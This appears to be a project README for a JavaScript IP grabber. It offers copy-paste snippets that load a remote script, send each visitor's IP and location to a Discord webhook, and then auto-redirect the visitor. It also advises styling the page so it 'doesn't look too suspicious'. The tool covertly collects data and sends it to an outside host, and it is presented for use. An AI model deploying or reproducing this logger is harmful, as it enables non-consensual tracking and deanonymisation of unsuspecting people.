With this JavaScript program you can log the IP of someone visiting your website and send IP information to your Discord Webhook.
The country flag changes to the country where the IP is located!Just copy this into your website and change the redirect and webhook URL:
<!-- Copy this into the <head> -->
<meta http-equiv="refresh" content="3;url=MAINPAGE.html" />
...
<!-- Copy this into the end of <body> -->
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<script src="https://cdn.jsdelivr.net/gh/luisoos/IP-Log-To-Discord-Webhook/index.js"></script>
<script>var webHookUrl = "YOUR_WEBHOOK_URL_HERE";</script>
Copy the project.
Change the variable webHookURL
in index.js
to your URL.
Let a user redirect to another site after the IP was logged.
Just add the following to your <head>
in index.html
:
<meta http-equiv="refresh" content="3;url=MAINPAGE.html" />
If you want to, you can style the index.html
file, so it doesn't look too suspicious.
This project is licensed under the MIT License
.